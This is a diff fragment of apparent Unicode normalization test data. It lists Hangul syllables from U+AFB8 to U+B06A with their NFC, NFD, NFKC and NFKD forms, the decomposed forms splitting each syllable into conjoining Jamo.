+{ source: [0xAFB8], NFC: [0xAFB8], NFD: [0x1101, 0x116E], NFKC: [0xAFB8], NFKD: [0x1101, 0x116E] },
+{ source: [0xAFB9], NFC: [0xAFB9], NFD: [0x1101, 0x116E, 0x11A8], NFKC: [0xAFB9], NFKD: [0x1101, 0x116E, 0x11A8] },
+{ source: [0xAFBA], NFC: [0xAFBA], NFD: [0x1101, 0x116E, 0x11A9], NFKC: [0xAFBA], NFKD: [0x1101, 0x116E, 0x11A9] },
+{ source: [0xAFBB], NFC: [0xAFBB], NFD: [0x1101, 0x116E, 0x11AA], NFKC: [0xAFBB], NFKD: [0x1101, 0x116E, 0x11AA] },
+{ source: [0xAFBC], NFC: [0xAFBC], NFD: [0x1101, 0x116E, 0x11AB], NFKC: [0xAFBC], NFKD: [0x1101, 0x116E, 0x11AB] },
+{ source: [0xAFBD], NFC: [0xAFBD], NFD: [0x1101, 0x116E, 0x11AC], NFKC: [0xAFBD], NFKD: [0x1101, 0x116E, 0x11AC] },
+{ source: [0xAFBE], NFC: [0xAFBE], NFD: [0x1101, 0x116E, 0x11AD], NFKC: [0xAFBE], NFKD: [0x1101, 0x116E, 0x11AD] },
+{ source: [0xAFBF], NFC: [0xAFBF], NFD: [0x1101, 0x116E, 0x11AE], NFKC: [0xAFBF], NFKD: [0x1101, 0x116E, 0x11AE] },
+{ source: [0xAFC0], NFC: [0xAFC0], NFD: [0x1101, 0x116E, 0x11AF], NFKC: [0xAFC0], NFKD: [0x1101, 0x116E, 0x11AF] },
+{ source: [0xAFC1], NFC: [0xAFC1], NFD: [0x1101, 0x116E, 0x11B0], NFKC: [0xAFC1], NFKD: [0x1101, 0x116E, 0x11B0] },
+{ source: [0xAFC2], NFC: [0xAFC2], NFD: [0x1101, 0x116E, 0x11B1], NFKC: [0xAFC2], NFKD: [0x1101, 0x116E, 0x11B1] },
+{ source: [0xAFC3], NFC: [0xAFC3], NFD: [0x1101, 0x116E, 0x11B2], NFKC: [0xAFC3], NFKD: [0x1101, 0x116E, 0x11B2] },
+{ source: [0xAFC4], NFC: [0xAFC4], NFD: [0x1101, 0x116E, 0x11B3], NFKC: [0xAFC4], NFKD: [0x1101, 0x116E, 0x11B3] },
+{ source: [0xAFC5], NFC: [0xAFC5], NFD: [0x1101, 0x116E, 0x11B4], NFKC: [0xAFC5], NFKD: [0x1101, 0x116E, 0x11B4] },
+{ source: [0xAFC6], NFC: [0xAFC6], NFD: [0x1101, 0x116E, 0x11B5], NFKC: [0xAFC6], NFKD: [0x1101, 0x116E, 0x11B5] },
+{ source: [0xAFC7], NFC: [0xAFC7], NFD: [0x1101, 0x116E, 0x11B6], NFKC: [0xAFC7], NFKD: [0x1101, 0x116E, 0x11B6] },
+{ source: [0xAFC8], NFC: [0xAFC8], NFD: [0x1101, 0x116E, 0x11B7], NFKC: [0xAFC8], NFKD: [0x1101, 0x116E, 0x11B7] },
+{ source: [0xAFC9], NFC: [0xAFC9], NFD: [0x1101, 0x116E, 0x11B8], NFKC: [0xAFC9], NFKD: [0x1101, 0x116E, 0x11B8] },
+{ source: [0xAFCA], NFC: [0xAFCA], NFD: [0x1101, 0x116E, 0x11B9], NFKC: [0xAFCA], NFKD: [0x1101, 0x116E, 0x11B9] },
+{ source: [0xAFCB], NFC: [0xAFCB], NFD: [0x1101, 0x116E, 0x11BA], NFKC: [0xAFCB], NFKD: [0x1101, 0x116E, 0x11BA] },
+{ source: [0xAFCC], NFC: [0xAFCC], NFD: [0x1101, 0x116E, 0x11BB], NFKC: [0xAFCC], NFKD: [0x1101, 0x116E, 0x11BB] },
+{ source: [0xAFCD], NFC: [0xAFCD], NFD: [0x1101, 0x116E, 0x11BC], NFKC: [0xAFCD], NFKD: [0x1101, 0x116E, 0x11BC] },
+{ source: [0xAFCE], NFC: [0xAFCE], NFD: [0x1101, 0x116E, 0x11BD], NFKC: [0xAFCE], NFKD: [0x1101, 0x116E, 0x11BD] },
+{ source: [0xAFCF], NFC: [0xAFCF], NFD: [0x1101, 0x116E, 0x11BE], NFKC: [0xAFCF], NFKD: [0x1101, 0x116E, 0x11BE] },
+{ source: [0xAFD0], NFC: [0xAFD0], NFD: [0x1101, 0x116E, 0x11BF], NFKC: [0xAFD0], NFKD: [0x1101, 0x116E, 0x11BF] },
+{ source: [0xAFD1], NFC: [0xAFD1], NFD: [0x1101, 0x116E, 0x11C0], NFKC: [0xAFD1], NFKD: [0x1101, 0x116E, 0x11C0] },
+{ source: [0xAFD2], NFC: [0xAFD2], NFD: [0x1101, 0x116E, 0x11C1], NFKC: [0xAFD2], NFKD: [0x1101, 0x116E, 0x11C1] },
+{ source: [0xAFD3], NFC: [0xAFD3], NFD: [0x1101, 0x116E, 0x11C2], NFKC: [0xAFD3], NFKD: [0x1101, 0x116E, 0x11C2] },
+{ source: [0xAFD4], NFC: [0xAFD4], NFD: [0x1101, 0x116F], NFKC: [0xAFD4], NFKD: [0x1101, 0x116F] },
+{ source: [0xAFD5], NFC: [0xAFD5], NFD: [0x1101, 0x116F, 0x11A8], NFKC: [0xAFD5], NFKD: [0x1101, 0x116F, 0x11A8] },
+{ source: [0xAFD6], NFC: [0xAFD6], NFD: [0x1101, 0x116F, 0x11A9], NFKC: [0xAFD6], NFKD: [0x1101, 0x116F, 0x11A9] },
+{ source: [0xAFD7], NFC: [0xAFD7], NFD: [0x1101, 0x116F, 0x11AA], NFKC: [0xAFD7], NFKD: [0x1101, 0x116F, 0x11AA] },
+{ source: [0xAFD8], NFC: [0xAFD8], NFD: [0x1101, 0x116F, 0x11AB], NFKC: [0xAFD8], NFKD: [0x1101, 0x116F, 0x11AB] },
+{ source: [0xAFD9], NFC: [0xAFD9], NFD: [0x1101, 0x116F, 0x11AC], NFKC: [0xAFD9], NFKD: [0x1101, 0x116F, 0x11AC] },
+{ source: [0xAFDA], NFC: [0xAFDA], NFD: [0x1101, 0x116F, 0x11AD], NFKC: [0xAFDA], NFKD: [0x1101, 0x116F, 0x11AD] },
+{ source: [0xAFDB], NFC: [0xAFDB], NFD: [0x1101, 0x116F, 0x11AE], NFKC: [0xAFDB], NFKD: [0x1101, 0x116F, 0x11AE] },
+{ source: [0xAFDC], NFC: [0xAFDC], NFD: [0x1101, 0x116F, 0x11AF], NFKC: [0xAFDC], NFKD: [0x1101, 0x116F, 0x11AF] },
+{ source: [0xAFDD], NFC: [0xAFDD], NFD: [0x1101, 0x116F, 0x11B0], NFKC: [0xAFDD], NFKD: [0x1101, 0x116F, 0x11B0] },
+{ source: [0xAFDE], NFC: [0xAFDE], NFD: [0x1101, 0x116F, 0x11B1], NFKC: [0xAFDE], NFKD: [0x1101, 0x116F, 0x11B1] },
+{ source: [0xAFDF], NFC: [0xAFDF], NFD: [0x1101, 0x116F, 0x11B2], NFKC: [0xAFDF], NFKD: [0x1101, 0x116F, 0x11B2] },
+{ source: [0xAFE0], NFC: [0xAFE0], NFD: [0x1101, 0x116F, 0x11B3], NFKC: [0xAFE0], NFKD: [0x1101, 0x116F, 0x11B3] },
+{ source: [0xAFE1], NFC: [0xAFE1], NFD: [0x1101, 0x116F, 0x11B4], NFKC: [0xAFE1], NFKD: [0x1101, 0x116F, 0x11B4] },
+{ source: [0xAFE2], NFC: [0xAFE2], NFD: [0x1101, 0x116F, 0x11B5], NFKC: [0xAFE2], NFKD: [0x1101, 0x116F, 0x11B5] },
+{ source: [0xAFE3], NFC: [0xAFE3], NFD: [0x1101, 0x116F, 0x11B6], NFKC: [0xAFE3], NFKD: [0x1101, 0x116F, 0x11B6] },
+{ source: [0xAFE4], NFC: [0xAFE4], NFD: [0x1101, 0x116F, 0x11B7], NFKC: [0xAFE4], NFKD: [0x1101, 0x116F, 0x11B7] },
+{ source: [0xAFE5], NFC: [0xAFE5], NFD: [0x1101, 0x116F, 0x11B8], NFKC: [0xAFE5], NFKD: [0x1101, 0x116F, 0x11B8] },
+{ source: [0xAFE6], NFC: [0xAFE6], NFD: [0x1101, 0x116F, 0x11B9], NFKC: [0xAFE6], NFKD: [0x1101, 0x116F, 0x11B9] },
+{ source: [0xAFE7], NFC: [0xAFE7], NFD: [0x1101, 0x116F, 0x11BA], NFKC: [0xAFE7], NFKD: [0x1101, 0x116F, 0x11BA] },
+{ source: [0xAFE8], NFC: [0xAFE8], NFD: [0x1101, 0x116F, 0x11BB], NFKC: [0xAFE8], NFKD: [0x1101, 0x116F, 0x11BB] },
+{ source: [0xAFE9], NFC: [0xAFE9], NFD: [0x1101, 0x116F, 0x11BC], NFKC: [0xAFE9], NFKD: [0x1101, 0x116F, 0x11BC] },
+{ source: [0xAFEA], NFC: [0xAFEA], NFD: [0x1101, 0x116F, 0x11BD], NFKC: [0xAFEA], NFKD: [0x1101, 0x116F, 0x11BD] },
+{ source: [0xAFEB], NFC: [0xAFEB], NFD: [0x1101, 0x116F, 0x11BE], NFKC: [0xAFEB], NFKD: [0x1101, 0x116F, 0x11BE] },
+{ source: [0xAFEC], NFC: [0xAFEC], NFD: [0x1101, 0x116F, 0x11BF], NFKC: [0xAFEC], NFKD: [0x1101, 0x116F, 0x11BF] },
+{ source: [0xAFED], NFC: [0xAFED], NFD: [0x1101, 0x116F, 0x11C0], NFKC: [0xAFED], NFKD: [0x1101, 0x116F, 0x11C0] },
+{ source: [0xAFEE], NFC: [0xAFEE], NFD: [0x1101, 0x116F, 0x11C1], NFKC: [0xAFEE], NFKD: [0x1101, 0x116F, 0x11C1] },
+{ source: [0xAFEF], NFC: [0xAFEF], NFD: [0x1101, 0x116F, 0x11C2], NFKC: [0xAFEF], NFKD: [0x1101, 0x116F, 0x11C2] },
+{ source: [0xAFF0], NFC: [0xAFF0], NFD: [0x1101, 0x1170], NFKC: [0xAFF0], NFKD: [0x1101, 0x1170] },
+{ source: [0xAFF1], NFC: [0xAFF1], NFD: [0x1101, 0x1170, 0x11A8], NFKC: [0xAFF1], NFKD: [0x1101, 0x1170, 0x11A8] },
+{ source: [0xAFF2], NFC: [0xAFF2], NFD: [0x1101, 0x1170, 0x11A9], NFKC: [0xAFF2], NFKD: [0x1101, 0x1170, 0x11A9] },
+{ source: [0xAFF3], NFC: [0xAFF3], NFD: [0x1101, 0x1170, 0x11AA], NFKC: [0xAFF3], NFKD: [0x1101, 0x1170, 0x11AA] },
+{ source: [0xAFF4], NFC: [0xAFF4], NFD: [0x1101, 0x1170, 0x11AB], NFKC: [0xAFF4], NFKD: [0x1101, 0x1170, 0x11AB] },
+{ source: [0xAFF5], NFC: [0xAFF5], NFD: [0x1101, 0x1170, 0x11AC], NFKC: [0xAFF5], NFKD: [0x1101, 0x1170, 0x11AC] },
+{ source: [0xAFF6], NFC: [0xAFF6], NFD: [0x1101, 0x1170, 0x11AD], NFKC: [0xAFF6], NFKD: [0x1101, 0x1170, 0x11AD] },
+{ source: [0xAFF7], NFC: [0xAFF7], NFD: [0x1101, 0x1170, 0x11AE], NFKC: [0xAFF7], NFKD: [0x1101, 0x1170, 0x11AE] },
+{ source: [0xAFF8], NFC: [0xAFF8], NFD: [0x1101, 0x1170, 0x11AF], NFKC: [0xAFF8], NFKD: [0x1101, 0x1170, 0x11AF] },
+{ source: [0xAFF9], NFC: [0xAFF9], NFD: [0x1101, 0x1170, 0x11B0], NFKC: [0xAFF9], NFKD: [0x1101, 0x1170, 0x11B0] },
+{ source: [0xAFFA], NFC: [0xAFFA], NFD: [0x1101, 0x1170, 0x11B1], NFKC: [0xAFFA], NFKD: [0x1101, 0x1170, 0x11B1] },
+{ source: [0xAFFB], NFC: [0xAFFB], NFD: [0x1101, 0x1170, 0x11B2], NFKC: [0xAFFB], NFKD: [0x1101, 0x1170, 0x11B2] },
+{ source: [0xAFFC], NFC: [0xAFFC], NFD: [0x1101, 0x1170, 0x11B3], NFKC: [0xAFFC], NFKD: [0x1101, 0x1170, 0x11B3] },
+{ source: [0xAFFD], NFC: [0xAFFD], NFD: [0x1101, 0x1170, 0x11B4], NFKC: [0xAFFD], NFKD: [0x1101, 0x1170, 0x11B4] },
+{ source: [0xAFFE], NFC: [0xAFFE], NFD: [0x1101, 0x1170, 0x11B5], NFKC: [0xAFFE], NFKD: [0x1101, 0x1170, 0x11B5] },
+{ source: [0xAFFF], NFC: [0xAFFF], NFD: [0x1101, 0x1170, 0x11B6], NFKC: [0xAFFF], NFKD: [0x1101, 0x1170, 0x11B6] },
+{ source: [0xB000], NFC: [0xB000], NFD: [0x1101, 0x1170, 0x11B7], NFKC: [0xB000], NFKD: [0x1101, 0x1170, 0x11B7] },
+{ source: [0xB001], NFC: [0xB001], NFD: [0x1101, 0x1170, 0x11B8], NFKC: [0xB001], NFKD: [0x1101, 0x1170, 0x11B8] },
+{ source: [0xB002], NFC: [0xB002], NFD: [0x1101, 0x1170, 0x11B9], NFKC: [0xB002], NFKD: [0x1101, 0x1170, 0x11B9] },
+{ source: [0xB003], NFC: [0xB003], NFD: [0x1101, 0x1170, 0x11BA], NFKC: [0xB003], NFKD: [0x1101, 0x1170, 0x11BA] },
+{ source: [0xB004], NFC: [0xB004], NFD: [0x1101, 0x1170, 0x11BB], NFKC: [0xB004], NFKD: [0x1101, 0x1170, 0x11BB] },
+{ source: [0xB005], NFC: [0xB005], NFD: [0x1101, 0x1170, 0x11BC], NFKC: [0xB005], NFKD: [0x1101, 0x1170, 0x11BC] },
+{ source: [0xB006], NFC: [0xB006], NFD: [0x1101, 0x1170, 0x11BD], NFKC: [0xB006], NFKD: [0x1101, 0x1170, 0x11BD] },
+{ source: [0xB007], NFC: [0xB007], NFD: [0x1101, 0x1170, 0x11BE], NFKC: [0xB007], NFKD: [0x1101, 0x1170, 0x11BE] },
+{ source: [0xB008], NFC: [0xB008], NFD: [0x1101, 0x1170, 0x11BF], NFKC: [0xB008], NFKD: [0x1101, 0x1170, 0x11BF] },
+{ source: [0xB009], NFC: [0xB009], NFD: [0x1101, 0x1170, 0x11C0], NFKC: [0xB009], NFKD: [0x1101, 0x1170, 0x11C0] },
+{ source: [0xB00A], NFC: [0xB00A], NFD: [0x1101, 0x1170, 0x11C1], NFKC: [0xB00A], NFKD: [0x1101, 0x1170, 0x11C1] },
+{ source: [0xB00B], NFC: [0xB00B], NFD: [0x1101, 0x1170, 0x11C2], NFKC: [0xB00B], NFKD: [0x1101, 0x1170, 0x11C2] },
+{ source: [0xB00C], NFC: [0xB00C], NFD: [0x1101, 0x1171], NFKC: [0xB00C], NFKD: [0x1101, 0x1171] },
+{ source: [0xB00D], NFC: [0xB00D], NFD: [0x1101, 0x1171, 0x11A8], NFKC: [0xB00D], NFKD: [0x1101, 0x1171, 0x11A8] },
+{ source: [0xB00E], NFC: [0xB00E], NFD: [0x1101, 0x1171, 0x11A9], NFKC: [0xB00E], NFKD: [0x1101, 0x1171, 0x11A9] },
+{ source: [0xB00F], NFC: [0xB00F], NFD: [0x1101, 0x1171, 0x11AA], NFKC: [0xB00F], NFKD: [0x1101, 0x1171, 0x11AA] },
+{ source: [0xB010], NFC: [0xB010], NFD: [0x1101, 0x1171, 0x11AB], NFKC: [0xB010], NFKD: [0x1101, 0x1171, 0x11AB] },
+{ source: [0xB011], NFC: [0xB011], NFD: [0x1101, 0x1171, 0x11AC], NFKC: [0xB011], NFKD: [0x1101, 0x1171, 0x11AC] },
+{ source: [0xB012], NFC: [0xB012], NFD: [0x1101, 0x1171, 0x11AD], NFKC: [0xB012], NFKD: [0x1101, 0x1171, 0x11AD] },
+{ source: [0xB013], NFC: [0xB013], NFD: [0x1101, 0x1171, 0x11AE], NFKC: [0xB013], NFKD: [0x1101, 0x1171, 0x11AE] },
+{ source: [0xB014], NFC: [0xB014], NFD: [0x1101, 0x1171, 0x11AF], NFKC: [0xB014], NFKD: [0x1101, 0x1171, 0x11AF] },
+{ source: [0xB015], NFC: [0xB015], NFD: [0x1101, 0x1171, 0x11B0], NFKC: [0xB015], NFKD: [0x1101, 0x1171, 0x11B0] },
+{ source: [0xB016], NFC: [0xB016], NFD: [0x1101, 0x1171, 0x11B1], NFKC: [0xB016], NFKD: [0x1101, 0x1171, 0x11B1] },
+{ source: [0xB017], NFC: [0xB017], NFD: [0x1101, 0x1171, 0x11B2], NFKC: [0xB017], NFKD: [0x1101, 0x1171, 0x11B2] },
+{ source: [0xB018], NFC: [0xB018], NFD: [0x1101, 0x1171, 0x11B3], NFKC: [0xB018], NFKD: [0x1101, 0x1171, 0x11B3] },
+{ source: [0xB019], NFC: [0xB019], NFD: [0x1101, 0x1171, 0x11B4], NFKC: [0xB019], NFKD: [0x1101, 0x1171, 0x11B4] },
+{ source: [0xB01A], NFC: [0xB01A], NFD: [0x1101, 0x1171, 0x11B5], NFKC: [0xB01A], NFKD: [0x1101, 0x1171, 0x11B5] },
+{ source: [0xB01B], NFC: [0xB01B], NFD: [0x1101, 0x1171, 0x11B6], NFKC: [0xB01B], NFKD: [0x1101, 0x1171, 0x11B6] },
+{ source: [0xB01C], NFC: [0xB01C], NFD: [0x1101, 0x1171, 0x11B7], NFKC: [0xB01C], NFKD: [0x1101, 0x1171, 0x11B7] },
+{ source: [0xB01D], NFC: [0xB01D], NFD: [0x1101, 0x1171, 0x11B8], NFKC: [0xB01D], NFKD: [0x1101, 0x1171, 0x11B8] },
+{ source: [0xB01E], NFC: [0xB01E], NFD: [0x1101, 0x1171, 0x11B9], NFKC: [0xB01E], NFKD: [0x1101, 0x1171, 0x11B9] },
+{ source: [0xB01F], NFC: [0xB01F], NFD: [0x1101, 0x1171, 0x11BA], NFKC: [0xB01F], NFKD: [0x1101, 0x1171, 0x11BA] },
+{ source: [0xB020], NFC: [0xB020], NFD: [0x1101, 0x1171, 0x11BB], NFKC: [0xB020], NFKD: [0x1101, 0x1171, 0x11BB] },
+{ source: [0xB021], NFC: [0xB021], NFD: [0x1101, 0x1171, 0x11BC], NFKC: [0xB021], NFKD: [0x1101, 0x1171, 0x11BC] },
+{ source: [0xB022], NFC: [0xB022], NFD: [0x1101, 0x1171, 0x11BD], NFKC: [0xB022], NFKD: [0x1101, 0x1171, 0x11BD] },
+{ source: [0xB023], NFC: [0xB023], NFD: [0x1101, 0x1171, 0x11BE], NFKC: [0xB023], NFKD: [0x1101, 0x1171, 0x11BE] },
+{ source: [0xB024], NFC: [0xB024], NFD: [0x1101, 0x1171, 0x11BF], NFKC: [0xB024], NFKD: [0x1101, 0x1171, 0x11BF] },
+{ source: [0xB025], NFC: [0xB025], NFD: [0x1101, 0x1171, 0x11C0], NFKC: [0xB025], NFKD: [0x1101, 0x1171, 0x11C0] },
+{ source: [0xB026], NFC: [0xB026], NFD: [0x1101, 0x1171, 0x11C1], NFKC: [0xB026], NFKD: [0x1101, 0x1171, 0x11C1] },
+{ source: [0xB027], NFC: [0xB027], NFD: [0x1101, 0x1171, 0x11C2], NFKC: [0xB027], NFKD: [0x1101, 0x1171, 0x11C2] },
+{ source: [0xB028], NFC: [0xB028], NFD: [0x1101, 0x1172], NFKC: [0xB028], NFKD: [0x1101, 0x1172] },
+{ source: [0xB029], NFC: [0xB029], NFD: [0x1101, 0x1172, 0x11A8], NFKC: [0xB029], NFKD: [0x1101, 0x1172, 0x11A8] },
+{ source: [0xB02A], NFC: [0xB02A], NFD: [0x1101, 0x1172, 0x11A9], NFKC: [0xB02A], NFKD: [0x1101, 0x1172, 0x11A9] },
+{ source: [0xB02B], NFC: [0xB02B], NFD: [0x1101, 0x1172, 0x11AA], NFKC: [0xB02B], NFKD: [0x1101, 0x1172, 0x11AA] },
+{ source: [0xB02C], NFC: [0xB02C], NFD: [0x1101, 0x1172, 0x11AB], NFKC: [0xB02C], NFKD: [0x1101, 0x1172, 0x11AB] },
+{ source: [0xB02D], NFC: [0xB02D], NFD: [0x1101, 0x1172, 0x11AC], NFKC: [0xB02D], NFKD: [0x1101, 0x1172, 0x11AC] },
+{ source: [0xB02E], NFC: [0xB02E], NFD: [0x1101, 0x1172, 0x11AD], NFKC: [0xB02E], NFKD: [0x1101, 0x1172, 0x11AD] },
+{ source: [0xB02F], NFC: [0xB02F], NFD: [0x1101, 0x1172, 0x11AE], NFKC: [0xB02F], NFKD: [0x1101, 0x1172, 0x11AE] },
+{ source: [0xB030], NFC: [0xB030], NFD: [0x1101, 0x1172, 0x11AF], NFKC: [0xB030], NFKD: [0x1101, 0x1172, 0x11AF] },
+{ source: [0xB031], NFC: [0xB031], NFD: [0x1101, 0x1172, 0x11B0], NFKC: [0xB031], NFKD: [0x1101, 0x1172, 0x11B0] },
+{ source: [0xB032], NFC: [0xB032], NFD: [0x1101, 0x1172, 0x11B1], NFKC: [0xB032], NFKD: [0x1101, 0x1172, 0x11B1] },
+{ source: [0xB033], NFC: [0xB033], NFD: [0x1101, 0x1172, 0x11B2], NFKC: [0xB033], NFKD: [0x1101, 0x1172, 0x11B2] },
+{ source: [0xB034], NFC: [0xB034], NFD: [0x1101, 0x1172, 0x11B3], NFKC: [0xB034], NFKD: [0x1101, 0x1172, 0x11B3] },
+{ source: [0xB035], NFC: [0xB035], NFD: [0x1101, 0x1172, 0x11B4], NFKC: [0xB035], NFKD: [0x1101, 0x1172, 0x11B4] },
+{ source: [0xB036], NFC: [0xB036], NFD: [0x1101, 0x1172, 0x11B5], NFKC: [0xB036], NFKD: [0x1101, 0x1172, 0x11B5] },
+{ source: [0xB037], NFC: [0xB037], NFD: [0x1101, 0x1172, 0x11B6], NFKC: [0xB037], NFKD: [0x1101, 0x1172, 0x11B6] },
+{ source: [0xB038], NFC: [0xB038], NFD: [0x1101, 0x1172, 0x11B7], NFKC: [0xB038], NFKD: [0x1101, 0x1172, 0x11B7] },
+{ source: [0xB039], NFC: [0xB039], NFD: [0x1101, 0x1172, 0x11B8], NFKC: [0xB039], NFKD: [0x1101, 0x1172, 0x11B8] },
+{ source: [0xB03A], NFC: [0xB03A], NFD: [0x1101, 0x1172, 0x11B9], NFKC: [0xB03A], NFKD: [0x1101, 0x1172, 0x11B9] },
+{ source: [0xB03B], NFC: [0xB03B], NFD: [0x1101, 0x1172, 0x11BA], NFKC: [0xB03B], NFKD: [0x1101, 0x1172, 0x11BA] },
+{ source: [0xB03C], NFC: [0xB03C], NFD: [0x1101, 0x1172, 0x11BB], NFKC: [0xB03C], NFKD: [0x1101, 0x1172, 0x11BB] },
+{ source: [0xB03D], NFC: [0xB03D], NFD: [0x1101, 0x1172, 0x11BC], NFKC: [0xB03D], NFKD: [0x1101, 0x1172, 0x11BC] },
+{ source: [0xB03E], NFC: [0xB03E], NFD: [0x1101, 0x1172, 0x11BD], NFKC: [0xB03E], NFKD: [0x1101, 0x1172, 0x11BD] },
+{ source: [0xB03F], NFC: [0xB03F], NFD: [0x1101, 0x1172, 0x11BE], NFKC: [0xB03F], NFKD: [0x1101, 0x1172, 0x11BE] },
+{ source: [0xB040], NFC: [0xB040], NFD: [0x1101, 0x1172, 0x11BF], NFKC: [0xB040], NFKD: [0x1101, 0x1172, 0x11BF] },
+{ source: [0xB041], NFC: [0xB041], NFD: [0x1101, 0x1172, 0x11C0], NFKC: [0xB041], NFKD: [0x1101, 0x1172, 0x11C0] },
+{ source: [0xB042], NFC: [0xB042], NFD: [0x1101, 0x1172, 0x11C1], NFKC: [0xB042], NFKD: [0x1101, 0x1172, 0x11C1] },
+{ source: [0xB043], NFC: [0xB043], NFD: [0x1101, 0x1172, 0x11C2], NFKC: [0xB043], NFKD: [0x1101, 0x1172, 0x11C2] },
+{ source: [0xB044], NFC: [0xB044], NFD: [0x1101, 0x1173], NFKC: [0xB044], NFKD: [0x1101, 0x1173] },
+{ source: [0xB045], NFC: [0xB045], NFD: [0x1101, 0x1173, 0x11A8], NFKC: [0xB045], NFKD: [0x1101, 0x1173, 0x11A8] },
+{ source: [0xB046], NFC: [0xB046], NFD: [0x1101, 0x1173, 0x11A9], NFKC: [0xB046], NFKD: [0x1101, 0x1173, 0x11A9] },
+{ source: [0xB047], NFC: [0xB047], NFD: [0x1101, 0x1173, 0x11AA], NFKC: [0xB047], NFKD: [0x1101, 0x1173, 0x11AA] },
+{ source: [0xB048], NFC: [0xB048], NFD: [0x1101, 0x1173, 0x11AB], NFKC: [0xB048], NFKD: [0x1101, 0x1173, 0x11AB] },
+{ source: [0xB049], NFC: [0xB049], NFD: [0x1101, 0x1173, 0x11AC], NFKC: [0xB049], NFKD: [0x1101, 0x1173, 0x11AC] },
+{ source: [0xB04A], NFC: [0xB04A], NFD: [0x1101, 0x1173, 0x11AD], NFKC: [0xB04A], NFKD: [0x1101, 0x1173, 0x11AD] },
+{ source: [0xB04B], NFC: [0xB04B], NFD: [0x1101, 0x1173, 0x11AE], NFKC: [0xB04B], NFKD: [0x1101, 0x1173, 0x11AE] },
+{ source: [0xB04C], NFC: [0xB04C], NFD: [0x1101, 0x1173, 0x11AF], NFKC: [0xB04C], NFKD: [0x1101, 0x1173, 0x11AF] },
+{ source: [0xB04D], NFC: [0xB04D], NFD: [0x1101, 0x1173, 0x11B0], NFKC: [0xB04D], NFKD: [0x1101, 0x1173, 0x11B0] },
+{ source: [0xB04E], NFC: [0xB04E], NFD: [0x1101, 0x1173, 0x11B1], NFKC: [0xB04E], NFKD: [0x1101, 0x1173, 0x11B1] },
+{ source: [0xB04F], NFC: [0xB04F], NFD: [0x1101, 0x1173, 0x11B2], NFKC: [0xB04F], NFKD: [0x1101, 0x1173, 0x11B2] },
+{ source: [0xB050], NFC: [0xB050], NFD: [0x1101, 0x1173, 0x11B3], NFKC: [0xB050], NFKD: [0x1101, 0x1173, 0x11B3] },
+{ source: [0xB051], NFC: [0xB051], NFD: [0x1101, 0x1173, 0x11B4], NFKC: [0xB051], NFKD: [0x1101, 0x1173, 0x11B4] },
+{ source: [0xB052], NFC: [0xB052], NFD: [0x1101, 0x1173, 0x11B5], NFKC: [0xB052], NFKD: [0x1101, 0x1173, 0x11B5] },
+{ source: [0xB053], NFC: [0xB053], NFD: [0x1101, 0x1173, 0x11B6], NFKC: [0xB053], NFKD: [0x1101, 0x1173, 0x11B6] },
+{ source: [0xB054], NFC: [0xB054], NFD: [0x1101, 0x1173, 0x11B7], NFKC: [0xB054], NFKD: [0x1101, 0x1173, 0x11B7] },
+{ source: [0xB055], NFC: [0xB055], NFD: [0x1101, 0x1173, 0x11B8], NFKC: [0xB055], NFKD: [0x1101, 0x1173, 0x11B8] },
+{ source: [0xB056], NFC: [0xB056], NFD: [0x1101, 0x1173, 0x11B9], NFKC: [0xB056], NFKD: [0x1101, 0x1173, 0x11B9] },
+{ source: [0xB057], NFC: [0xB057], NFD: [0x1101, 0x1173, 0x11BA], NFKC: [0xB057], NFKD: [0x1101, 0x1173, 0x11BA] },
+{ source: [0xB058], NFC: [0xB058], NFD: [0x1101, 0x1173, 0x11BB], NFKC: [0xB058], NFKD: [0x1101, 0x1173, 0x11BB] },
+{ source: [0xB059], NFC: [0xB059], NFD: [0x1101, 0x1173, 0x11BC], NFKC: [0xB059], NFKD: [0x1101, 0x1173, 0x11BC] },
+{ source: [0xB05A], NFC: [0xB05A], NFD: [0x1101, 0x1173, 0x11BD], NFKC: [0xB05A], NFKD: [0x1101, 0x1173, 0x11BD] },
+{ source: [0xB05B], NFC: [0xB05B], NFD: [0x1101, 0x1173, 0x11BE], NFKC: [0xB05B], NFKD: [0x1101, 0x1173, 0x11BE] },
+{ source: [0xB05C], NFC: [0xB05C], NFD: [0x1101, 0x1173, 0x11BF], NFKC: [0xB05C], NFKD: [0x1101, 0x1173, 0x11BF] },
+{ source: [0xB05D], NFC: [0xB05D], NFD: [0x1101, 0x1173, 0x11C0], NFKC: [0xB05D], NFKD: [0x1101, 0x1173, 0x11C0] },
+{ source: [0xB05E], NFC: [0xB05E], NFD: [0x1101, 0x1173, 0x11C1], NFKC: [0xB05E], NFKD: [0x1101, 0x1173, 0x11C1] },
+{ source: [0xB05F], NFC: [0xB05F], NFD: [0x1101, 0x1173, 0x11C2], NFKC: [0xB05F], NFKD: [0x1101, 0x1173, 0x11C2] },
+{ source: [0xB060], NFC: [0xB060], NFD: [0x1101, 0x1174], NFKC: [0xB060], NFKD: [0x1101, 0x1174] },
+{ source: [0xB061], NFC: [0xB061], NFD: [0x1101, 0x1174, 0x11A8], NFKC: [0xB061], NFKD: [0x1101, 0x1174, 0x11A8] },
+{ source: [0xB062], NFC: [0xB062], NFD: [0x1101, 0x1174, 0x11A9], NFKC: [0xB062], NFKD: [0x1101, 0x1174, 0x11A9] },
+{ source: [0xB063], NFC: [0xB063], NFD: [0x1101, 0x1174, 0x11AA], NFKC: [0xB063], NFKD: [0x1101, 0x1174, 0x11AA] },
+{ source: [0xB064], NFC: [0xB064], NFD: [0x1101, 0x1174, 0x11AB], NFKC: [0xB064], NFKD: [0x1101, 0x1174, 0x11AB] },
+{ source: [0xB065], NFC: [0xB065], NFD: [0x1101, 0x1174, 0x11AC], NFKC: [0xB065], NFKD: [0x1101, 0x1174, 0x11AC] },
+{ source: [0xB066], NFC: [0xB066], NFD: [0x1101, 0x1174, 0x11AD], NFKC: [0xB066], NFKD: [0x1101, 0x1174, 0x11AD] },
+{ source: [0xB067], NFC: [0xB067], NFD: [0x1101, 0x1174, 0x11AE], NFKC: [0xB067], NFKD: [0x1101, 0x1174, 0x11AE] },
+{ source: [0xB068], NFC: [0xB068], NFD: [0x1101, 0x1174, 0x11AF], NFKC: [0xB068], NFKD: [0x1101, 0x1174, 0x11AF] },
+{ source: [0xB069], NFC: [0xB069], NFD: [0x1101, 0x1174, 0x11B0], NFKC: [0xB069], NFKD: [0x1101, 0x1174, 0x11B0] },
+{ source: [0xB06A], NFC: [0xB06A], NFD: [0x1101, 0x1174, 0x11B1], NFKC: [0xB06A], NFKD: [0x1101, 0x1174, 0x11B1] },
